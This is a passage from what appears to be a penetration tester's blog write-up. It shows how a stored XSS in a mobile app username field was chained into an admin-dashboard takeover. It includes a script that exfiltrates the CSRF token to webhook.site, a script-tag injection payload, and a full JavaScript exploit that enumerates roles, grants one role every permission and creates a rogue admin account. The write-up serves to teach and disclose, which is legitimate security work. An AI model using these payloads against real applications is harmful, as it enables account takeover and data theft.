      <td>eligibility-rule-edit</td>
    </tr>
    <tr>
      <td>eligibility-rule-delete</td>
      <td>advertisement-list</td>
      <td>advertisement-create</td>
      <td>advertisement-edit</td>
    </tr>
    <tr>
      <td>advertisement-delete</td>
      <td>application-list</td>
      <td>workflow-list</td>
      <td>workflow-create</td>
    </tr>
    <tr>
      <td>workflow-edit</td>
      <td>workflow-delete</td>
      <td>interface-mapping-list</td>
      <td>interface-mapping-create</td>
    </tr>
    <tr>
      <td>interface-mapping-edit</td>
      <td>interface-mapping-delete</td>
      <td>workflow-head-list</td>
      <td>workflow-head-create</td>
    </tr>
    <tr>
      <td>workflow-head-edit</td>
      <td>workflow-head-delete</td>
      <td>eligibility-criteria-list</td>
      <td>eligibility-criteria-create</td>
    </tr>
    <tr>
      <td>eligibility-criteria-edit</td>
      <td>eligibility-criteria-delete</td>
      <td>third-party-api-list</td>
      <td>third-party-api-create</td>
    </tr>
    <tr>
      <td>third-party-api-edit</td>
      <td>third-party-api-delete</td>
      <td>page-list</td>
      <td>page-create</td>
    </tr>
    <tr>
      <td>page-edit</td>
      <td>page-delete</td>
      <td>flag-list</td>
      <td>lead-list</td>
    </tr>
    <tr>
      <td>checker</td>
      <td> </td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<h2 id="features-summary-diagram">Features Summary Diagram</h2>

<ul>
  <li>Admins:</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/3b9dea1f-00cf-49d5-82bb-4dfa41930426" alt="image" /></p>

<ul>
  <li>Customers</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/c73b06f8-9859-47cb-8b36-caf66945d7f1" alt="image" /></p>

<h1 id="the-story">The Story</h1>

<h2 id="xss-vulnerability">XSS Vulnerability</h2>

<p>On the mobile application side, when a user changes their <code class="language-plaintext highlighter-rouge">username</code> to the following:</p>

<p><img src="https://github.com/user-attachments/assets/43a36959-5830-4b76-9147-170cdd2c79c6" alt="image" /></p>

<p>The request looks like this:</p>

<p><img src="https://github.com/user-attachments/assets/e9f4ff52-258f-4aaa-b387-cd732fae4480" alt="image" /></p>

<p>Our malicious input, which includes a JavaScript alert, is sent in the request without any filtration on the mobile app side. When this request reaches the <code class="language-plaintext highlighter-rouge">admin</code> dashboard, it displays as follows:</p>

<p><img src="https://github.com/user-attachments/assets/28798802-9b02-486b-95d7-6f80fce70783" alt="image" /></p>

<p>This indicates that we have a blind <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability. The next logical step would be to steal the admin’s cookies and gain access to their account. However, the challenge here is that the cookies are marked as <code class="language-plaintext highlighter-rouge">HttpOnly</code>. The <code class="language-plaintext highlighter-rouge">HttpOnly</code> attribute is specifically designed to mitigate certain forms of <code class="language-plaintext highlighter-rouge">XSS</code> attacks by preventing cookies from being accessed through client-side scripts, as illustrated below:</p>

<p><img src="https://github.com/user-attachments/assets/71074ab9-46cd-49cb-9b90-b56f61752532" alt="image" /></p>

<h2 id="find-another-way">Find Another way</h2>

<p>At that point, I decided to set aside the <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability and began searching for other potential vulnerabilities that might allow me to access the <code class="language-plaintext highlighter-rouge">admin</code> account or perform administrative actions. That’s when I considered the possibility of a <code class="language-plaintext highlighter-rouge">CSRF</code> (Cross-Site Request Forgery) vulnerability, especially since the <code class="language-plaintext highlighter-rouge">admin</code> has the ability to add new <code class="language-plaintext highlighter-rouge">users</code>, which could include another <code class="language-plaintext highlighter-rouge">admin</code>. When adding a new user, the process looked like this:</p>

<p><img src="https://github.com/user-attachments/assets/05286717-52a8-4938-b836-3d3563d3aeb2" alt="image" /></p>

<p>The fields shown in the screenshot are the required inputs to add a new <code class="language-plaintext highlighter-rouge">user</code>. After intercepting the request in <code class="language-plaintext highlighter-rouge">BurpSuite</code>, the request appeared as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /app/public/admin/users HTTP/1.1 
Host: application.com
User-Agent: UserAgent
Accept: text/html, application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US, en; q=0.5 
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded 
Content-Length: 156
Origin: http://application.com 
Connection: close
Referer: http://application.com/app/public/admin/users/create 
Cookie: XSRF-TOKEN=eyJp............; session=eyJ......In0&amp;3D

_token=rR8Hp7ewaT8FenxSzfAfqhN9ue5LiFgi13HS76SS&amp;name=Pentester&amp;email=pentest%40pentest.co&amp;password=Pentest123456%23&amp;confirm-password=Pentest123456%23&amp;role=2
</code></pre></div></div>

<p>Here, I found both good and bad news. The good news was that the admin dashboard wasn’t using a <code class="language-plaintext highlighter-rouge">JSON Web Token</code> like the mobile app, making it potentially vulnerable to <code class="language-plaintext highlighter-rouge">CSRF</code> attacks. The bad news was the presence of a <code class="language-plaintext highlighter-rouge">CSRF</code> token in the <code class="language-plaintext highlighter-rouge">_token</code> parameter, which verifies the request’s authenticity. I attempted several common methods to bypass the <code class="language-plaintext highlighter-rouge">CSRF</code> token, such as using a random token of the same length, setting the value to <code class="language-plaintext highlighter-rouge">NULL</code> or empty, or removing the entire parameter and value. Unfortunately, none of these attempts were successful.</p>

<p>After further investigation, I discovered that the <code class="language-plaintext highlighter-rouge">CSRF</code> token is retrieved from a <code class="language-plaintext highlighter-rouge">meta</code> tag in the response page, as shown below:</p>

<p><img src="https://github.com/user-attachments/assets/4f22dda6-0494-42ba-b7ef-93d9aa3bf83f" alt="image" /></p>

<p>This discovery led me back to the <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability. Although I couldn’t steal cookies due to the <code class="language-plaintext highlighter-rouge">HttpOnly</code> attribute, I realized I could still load JavaScript by exploiting the <code class="language-plaintext highlighter-rouge">src</code> attribute within the <code class="language-plaintext highlighter-rouge">script</code> tag. By doing so, I could inject a JavaScript code snippet to retrieve the <code class="language-plaintext highlighter-rouge">meta</code> tag with <code class="language-plaintext highlighter-rouge">name="csrf-token"</code> and extract its <code class="language-plaintext highlighter-rouge">content</code> attribute value, which contains the <code class="language-plaintext highlighter-rouge">CSRF</code> token.</p>

<h2 id="give-me-the-token">Give me the Token</h2>

<p>To retrieve the <code class="language-plaintext highlighter-rouge">CSRF</code> token, I used the following code:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">csrfToken</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">meta[name="csrf-token"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">getAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">content</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">alert</span><span class="p">(</span><span class="nx">csrfToken</span><span class="p">);</span>
</code></pre></div></div>

<p>Here’s how it works: First, I used the <code class="language-plaintext highlighter-rouge">document.querySelector</code> method to find a <code class="language-plaintext highlighter-rouge">meta</code> tag with the attribute <code class="language-plaintext highlighter-rouge">name="csrf-token"</code>. The selector <code class="language-plaintext highlighter-rouge">'meta[name="csrf-token"]'</code> specifically targets this tag within the document. Once the meta tag is located, the <code class="language-plaintext highlighter-rouge">getAttribute</code> method is called to extract the value of its <code class="language-plaintext highlighter-rouge">content</code> attribute, which contains the actual <code class="language-plaintext highlighter-rouge">CSRF</code> token. This value is then stored in the <code class="language-plaintext highlighter-rouge">csrfToken</code> variable. Finally, the <code class="language-plaintext highlighter-rouge">alert</code> function is used to display the value of <code class="language-plaintext highlighter-rouge">csrfToken</code>.</p>

<p><img src="https://github.com/user-attachments/assets/76fee310-a845-4822-a506-61ff330c1de6" alt="image" /></p>

<p>Seeing that the approach was successful, I proceeded to steal the <code class="language-plaintext highlighter-rouge">CSRF</code> token and send it to my server using <code class="language-plaintext highlighter-rouge">webhook.site</code>. Here’s the updated code:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">csrfToken</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">meta[name="csrf-token"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">getAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">content</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">url</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://webhook.site/hereShouldHaveYourID/</span><span class="dl">"</span><span class="p">;</span>
<span class="nx">url</span> <span class="o">+=</span> <span class="dl">"</span><span class="s2">?token=</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">csrfToken</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Image</span><span class="p">();</span>
<span class="nx">i</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">url</span><span class="p">;</span>
</code></pre></div></div>

<p>After retrieving the <code class="language-plaintext highlighter-rouge">CSRF</code> token and storing it in the <code class="language-plaintext highlighter-rouge">csrfToken</code> variable, I set up the base URL for my webhook site. The <code class="language-plaintext highlighter-rouge">CSRF</code> token is then appended as a query parameter to the URL using <code class="language-plaintext highlighter-rouge">encodeURIComponent</code> to ensure it’s safely included. Finally, the script creates an image object and sets its <code class="language-plaintext highlighter-rouge">src</code> to the constructed URL, triggering a <code class="language-plaintext highlighter-rouge">GET</code> request that sends the <code class="language-plaintext highlighter-rouge">CSRF</code> token to my server.</p>

<p><img src="https://github.com/user-attachments/assets/2843ab7b-3cde-4667-8294-f0415a2aea31" alt="image" /></p>

<p>As shown, I successfully stole the <code class="language-plaintext highlighter-rouge">CSRF</code> token using this method.</p>

<p><img src="https://github.com/user-attachments/assets/7973d9bc-c0c2-473d-9cdb-09a0e1da8b49" alt="image" /></p>

<h2 id="add-new-user">Add New User</h2>

<p>After successfully stealing the <code class="language-plaintext highlighter-rouge">CSRF</code> token, I considered whether it was worth pursuing the traditional <code class="language-plaintext highlighter-rouge">CSRF</code> attack route—injecting the stolen token into a request and sending a <code class="language-plaintext highlighter-rouge">CSRF</code> payload to the <code class="language-plaintext highlighter-rouge">admin</code>, hoping they would click on it. But why stop there when we can be more creative? Since we can retrieve the <code class="language-plaintext highlighter-rouge">CSRF</code> token and inject JavaScript into the <code class="language-plaintext highlighter-rouge">admin</code>’s browser, we can take a more direct approach by executing a request directly through the <code class="language-plaintext highlighter-rouge">admin</code>’s browser using JavaScript.</p>

<p>Here’s how I updated the code:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">csrfToken</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">meta[name="csrf-token"]</span><span class="dl">'</span><span class="p">).</span><span class="nx">getAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">content</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">();</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">_token</span><span class="dl">'</span><span class="p">,</span> <span class="nx">csrfToken</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">name</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Pentester</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">email</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">pentest@pentest.co</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">password</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Pentest123456#</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">confirm-password</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Pentest123456#</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">data</span><span class="p">.</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1">role</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">2</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://application.com/app/public/admin/users</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
        <span class="dl">'</span><span class="s1">Content-Type</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">application/x-www-form-urlencoded</span><span class="dl">'</span><span class="p">,</span>
    <span class="p">},</span>
    <span class="na">body</span><span class="p">:</span> <span class="nx">data</span>
<span class="p">})</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">response</span> <span class="o">=&gt;</span> <span class="nx">response</span><span class="p">.</span><span class="nx">text</span><span class="p">())</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">data</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Success:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span>
<span class="p">})</span>
<span class="p">.</span><span class="k">catch</span><span class="p">((</span><span class="nx">error</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Error:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p>In this script, after retrieving the <code class="language-plaintext highlighter-rouge">CSRF</code> token and storing it in the <code class="language-plaintext highlighter-rouge">csrfToken</code> variable, I created a <code class="language-plaintext highlighter-rouge">URLSearchParams</code> object to encode and organize the data that will be sent in the request. I appended several key-value pairs, including the CSRF token (<code class="language-plaintext highlighter-rouge">_token</code>), a name (<code class="language-plaintext highlighter-rouge">Pentester</code>), an email (<code class="language-plaintext highlighter-rouge">pentest@pentest.co</code>), a password (<code class="language-plaintext highlighter-rouge">Pentest123456#</code>), and a role ID (<code class="language-plaintext highlighter-rouge">2</code>), which is unknown in terms of permissions. I then used the <code class="language-plaintext highlighter-rouge">fetch</code> API to send a POST request to <code class="language-plaintext highlighter-rouge">http://application.com/app/public/admin/users</code>, aiming to add a new user. The results were logged in the console.</p>

<p>To test the payload, I hosted it locally and updated the username to include the following malicious script: <code class="language-plaintext highlighter-rouge">'"&gt;&lt;script src="http://localhost/exploit.js"&gt;&lt;/script&gt;</code>. When the <code class="language-plaintext highlighter-rouge">admin</code> loaded the page containing this script, the code executed successfully, logging the message in the console and confirming that the new <code class="language-plaintext highlighter-rouge">admin</code> user was added.</p>

<p><img src="https://github.com/user-attachments/assets/827b31f6-79f4-4ae4-b5b8-e547a4592555" alt="image" /></p>

<p>However, there’s a potential limitation: if the role ID I used in the request doesn’t have sufficient permissions, the new <code class="language-plaintext highlighter-rouge">admin</code> user may not be able to perform significant actions. This is an issue that needs addressing to ensure the exploit’s effectiveness.</p>

<h2 id="patch-the-role">Patch The Role</h2>

<p>When we explore all the roles available in the application:</p>

<p><img src="https://github.com/user-attachments/assets/b50539cd-0af2-4d44-8a59-36515344e033" alt="image" /></p>

<p>We have the option to edit any of these roles. Let’s select a <code class="language-plaintext highlighter-rouge">role</code> to edit:</p>

<p><img src="https://github.com/user-attachments/assets/4f084f3d-8140-4fdf-9ce0-665ee669c070" alt="image" /></p>

<p>From this screen, we can see that editing a role is done through the endpoint <code class="language-plaintext highlighter-rouge">/app/public/admin/roles/{id}/edit</code>, where <code class="language-plaintext highlighter-rouge">{id}</code> corresponds to the specific role ID. In this interface, we can choose the permissions we want to assign to the role. To better understand how this works, let’s intercept and analyze the request using <code class="language-plaintext highlighter-rouge">BurpSuite</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /app/public/admin/roles/{roleNumber} HTTP/1.1
Host: application.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [calculated-length]

_method=PATCH&amp;_token=[csrfToken]&amp;name=PoC4Exploit&amp;status=on&amp;permission[]=1&amp;permission[]=2&amp;permission[]=3&amp;permission[]=4&amp;permission[]=11&amp;permission[]=12&amp;permission[]=13&amp;permission[]=14&amp;permission[]=15&amp;permission[]=16&amp;permission[]=17&amp;permission[]=18&amp;permission[]=19&amp;permission[]=20&amp;permission[]=21&amp;permission[]=22&amp;permission[]=23&amp;permission[]=24&amp;permission[]=25&amp;permission[]=26&amp;permission[]=27&amp;permission[]=28&amp;permission[]=29&amp;permission[]=30&amp;permission[]=31&amp;permission[]=32&amp;permission[]=33&amp;permission[]=34&amp;permission[]=35&amp;permission[]=36&amp;permission[]=37&amp;permission[]=38&amp;permission[]=39&amp;permission[]=40&amp;permission[]=41&amp;permission[]=42&amp;permission[]=43&amp;permission[]=44&amp;permission[]=45&amp;permission[]=46&amp;permission[]=47&amp;permission[]=48&amp;permission[]=49&amp;permission[]=50&amp;permission[]=51&amp;permission[]=52&amp;permission[]=53&amp;permission[]=54&amp;permission[]=55&amp;permission[]=56&amp;permission[]=57&amp;permission[]=58&amp;permission[]=59&amp;permission[]=60&amp;permission[]=61&amp;permission[]=65&amp;permission[]=66&amp;permission[]=67&amp;permission[]=68&amp;permission[]=69&amp;permission[]=70&amp;permission[]=71&amp;permission[]=72&amp;permission[]=73&amp;permission[]=74&amp;permission[]=75&amp;permission[]=76&amp;permission[]=77&amp;permission[]=78&amp;permission[]=79&amp;permission[]=80&amp;permission[]=81&amp;permission[]=82&amp;permission[]=83&amp;permission[]=84&amp;permission[]=85&amp;permission[]=86&amp;permission[]=87&amp;permission[]=88&amp;permission[]=89&amp;permission[]=90&amp;permission[]=91
</code></pre></div></div>

<p>Here’s how the request appears when editing a <code class="language-plaintext highlighter-rouge">role</code> and activating all its permissions. Before adding the malicious <code class="language-plaintext highlighter-rouge">user</code>, we can strategically edit the <code class="language-plaintext highlighter-rouge">role</code> to ensure it has all permissions enabled. After modifying the role, we can then add the user with the modified <code class="language-plaintext highlighter-rouge">role</code> ID, granting the new user full access within the application.</p>

<h1 id="chaining-all-together">Chaining All Together</h1>

<p>Now, we still need to verify whether the <code class="language-plaintext highlighter-rouge">role</code> ID exists before attempting to edit it. When we send a request to the <code class="language-plaintext highlighter-rouge">/app/public/admin/roles/{id}/edit</code> endpoint, if the <code class="language-plaintext highlighter-rouge">role</code> ID does not exist, the application responds with a <code class="language-plaintext highlighter-rouge">500</code> status code. If the response is anything other than <code class="language-plaintext highlighter-rouge">500</code>, it indicates that the <code class="language-plaintext highlighter-rouge">role</code> ID exists. The following diagram explains how we will chain all these steps together to update our code:</p>

<p><img src="https://github.com/user-attachments/assets/c1a753f3-57b4-4360-873e-423e44324144" alt="image" /></p>

<p>Let’s Update our code:</p>

<pre><code class="language-JS">let csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');



function patchRole(roleNumber) {
    let data = new URLSearchParams();
    data.append('_method', 'PATCH');
    data.append('_token', csrfToken);
    data.append('name', 'PoC4Exploit');
    data.append('status', 'on');
    data.append('permission[]', '1');
    data.append('permission[]', '2');
    data.append('permission[]', '3');
    data.append('permission[]', '4');
    data.append('permission[]', '11');
    data.append('permission[]', '12');
    data.append('permission[]', '13');
    data.append('permission[]', '14');
    data.append('permission[]', '15');
    data.append('permission[]', '16');
    data.append('permission[]', '17');
    data.append('permission[]', '18');
    data.append('permission[]', '19');
    data.append('permission[]', '20');
    data.append('permission[]', '21');
    data.append('permission[]', '22');
    data.append('permission[]', '23');
    data.append('permission[]', '24');
    data.append('permission[]', '25');
    data.append('permission[]', '26');
    data.append('permission[]', '27');
    data.append('permission[]', '28');
    data.append('permission[]', '29');
    data.append('permission[]', '30');
    data.append('permission[]', '31');
    data.append('permission[]', '32');
    data.append('permission[]', '33');
    data.append('permission[]', '34');
    data.append('permission[]', '35');
    data.append('permission[]', '36');
    data.append('permission[]', '37');
    data.append('permission[]', '38');
    data.append('permission[]', '39');
    data.append('permission[]', '40');
    data.append('permission[]', '41');
    data.append('permission[]', '42');
    data.append('permission[]', '43');
    data.append('permission[]', '44');
    data.append('permission[]', '45');
    data.append('permission[]', '46');
    data.append('permission[]', '47');
    data.append('permission[]', '48');
    data.append('permission[]', '49');
    data.append('permission[]', '50');
    data.append('permission[]', '51');
    data.append('permission[]', '52');
    data.append('permission[]', '53');
    data.append('permission[]', '54');
    data.append('permission[]', '55');
    data.append('permission[]', '56');
    data.append('permission[]', '57');
    data.append('permission[]', '58');
    data.append('permission[]', '59');
    data.append('permission[]', '60');
    data.append('permission[]', '61');
    data.append('permission[]', '65');
    data.append('permission[]', '66');
    data.append('permission[]', '67');
    data.append('permission[]', '68');
    data.append('permission[]', '69');
    data.append('permission[]', '70');
    data.append('permission[]', '71');
    data.append('permission[]', '72');
    data.append('permission[]', '73');
    data.append('permission[]', '74');
    data.append('permission[]', '75');
    data.append('permission[]', '76');
    data.append('permission[]', '77');
    data.append('permission[]', '78');
    data.append('permission[]', '79');
    data.append('permission[]', '80');
    data.append('permission[]', '81');
    data.append('permission[]', '82');
    data.append('permission[]', '83');
    data.append('permission[]', '84');
    data.append('permission[]', '85');
    data.append('permission[]', '86');
    data.append('permission[]', '87');
    data.append('permission[]', '88');
    data.append('permission[]', '89');
    data.append('permission[]', '90');
    data.append('permission[]', '91');
    console.log(`Patching Role ${roleNumber}`);
    return fetch(`http://application.com/app/public/admin/roles/${roleNumber}`, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: data
    });
}



function postData(roleNumber) {
    let data = new URLSearchParams();
    data.append('_token', csrfToken);
    data.append('name', 'CustomerTakeover');
    data.append('email', 'CustomerTakeover@pentest.co');
    data.append('password', 'CustomerTakeover123456#');
    data.append('confirm-password', 'CustomerTakeover123456#');
    data.append('role', roleNumber.toString());

    return fetch('http://application.com/app/public/admin/users', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: data
    });
}



function findRole(i, max) {
    if (i &gt; max) {
        console.error("Role not found up to number:", max);
        return;
    }

    fetch(`http://application.com/app/public/admin/roles/${i}/edit`)
        .then(response =&gt; {
            if (response.status !== 500) {
                console.log(`Role number found: ${i}`);
                return patchRole(i)
                    .then(() =&gt; postData(i))
                    .then(response =&gt; response.text())
                    .then(data =&gt; {
                        console.log('User Creation Success:', data);
                    });
            } else {
                console.log(`Role ${i} responded with 500. Trying next role.`);
                findRole(i + 1, max);
            }
        })
        .catch(error =&gt; {
            console.error('Error:', error);
        });
}



findRole(1, 10);
</code></pre>

<p>Here I grab the <code class="language-plaintext highlighter-rouge">CSRF</code> token from the <code class="language-plaintext highlighter-rouge">meta</code> tag, which I store in the <code class="language-plaintext highlighter-rouge">csrfToken</code> variable. Then define the <code class="language-plaintext highlighter-rouge">findRole</code> function, where I iterate through potential <code class="language-plaintext highlighter-rouge">role</code> numbers. I start by sending <code class="language-plaintext highlighter-rouge">GET</code> requests to the <code class="language-plaintext highlighter-rouge">role</code> edit endpoint, beginning with role number <code class="language-plaintext highlighter-rouge">1</code> and incrementing up to <code class="language-plaintext highlighter-rouge">10</code>. The function checks if each <code class="language-plaintext highlighter-rouge">role</code> exists by evaluating the server’s response: if the response status is anything other than <code class="language-plaintext highlighter-rouge">500</code>, it indicates that the <code class="language-plaintext highlighter-rouge">role</code> is a valid <code class="language-plaintext highlighter-rouge">role</code>. then, the function triggers  <code class="language-plaintext highlighter-rouge">patchRole</code> to escalate permissions by modifying the identified <code class="language-plaintext highlighter-rouge">role</code>.  Once the role has been successfully patched, It will add our new user <code class="language-plaintext highlighter-rouge">admin</code>.</p>

<h3 id="testing-the-exploit">Testing the exploit</h3>

<ul>
  <li>Finding &amp; Patching <code class="language-plaintext highlighter-rouge">role</code></li>
</ul>

<p><img src="https://github.com/user-attachments/assets/531d1091-da22-4255-b848-729eea0c40a6" alt="image" /></p>

<ul>
  <li>Add the new <code class="language-plaintext highlighter-rouge">admin</code> user</li>
</ul>

<p><img src="https://github.com/user-attachments/assets/c19d5b23-10d5-435a-b0c3-a021975973b3" alt="image" /></p>

<p><img src="https://github.com/user-attachments/assets/daf8c95b-8580-4a6c-8e6a-926867c2e6d4" alt="image" /></p>

<p>Now, I can control all the application including everyting related to the busniess and the system.</p>

<h1 id="conclusion">Conclusion</h1>

<p>In this exploit, I leveraged a combination of an <code class="language-plaintext highlighter-rouge">XSS</code> vulnerability and <code class="language-plaintext highlighter-rouge">CSRF</code> token retrieval to achieve a full application takeover, starting from what appeared to be a simple <code class="language-plaintext highlighter-rouge">XSS</code> issue. By first identifying that the application was using an <code class="language-plaintext highlighter-rouge">HttpOnly</code> flag on cookies, I bypassed the limitation by focusing on obtaining the <code class="language-plaintext highlighter-rouge">CSRF</code> token directly from the <code class="language-plaintext highlighter-rouge">meta</code> tag using <code class="language-plaintext highlighter-rouge">JavaScript</code> injected via <code class="language-plaintext highlighter-rouge">XSS</code>. With the token in hand, I could have constructed a <code class="language-plaintext highlighter-rouge">CSRF</code> attack, but instead, I opted for a more direct approach by using the stolen token to execute actions directly through the admin’s browser, including modifying user roles and creating a new administrator account. This method allowed me to patch an existing <code class="language-plaintext highlighter-rouge">role</code> with full permissions and then create a new user associated with that role, ensuring the user had elevated access. By chaining these vulnerabilities together <code class="language-plaintext highlighter-rouge">XSS</code>, <code class="language-plaintext highlighter-rouge">CSRF</code> token retrieval, <code class="language-plaintext highlighter-rouge">role</code> modification, and user creation, I was able to demonstrate how a seemingly low-risk vulnerability could be escalated to gain complete control over the application.</p>]]></content><author><name>Zeyad Azima</name></author><category term="General" /><category term="General" /><category term="pentest" /><category term="pentesting" /><category term="xss" /><category term="csrf" /><category term="bypass" /><category term="javascript" /><category term="exploitation" /><category term="JS" /><category term="cookies" /><summary type="html"><![CDATA[A story of chaining low vulnerabilities to takeover an application in a pentest project.]]></summary></entry></feed>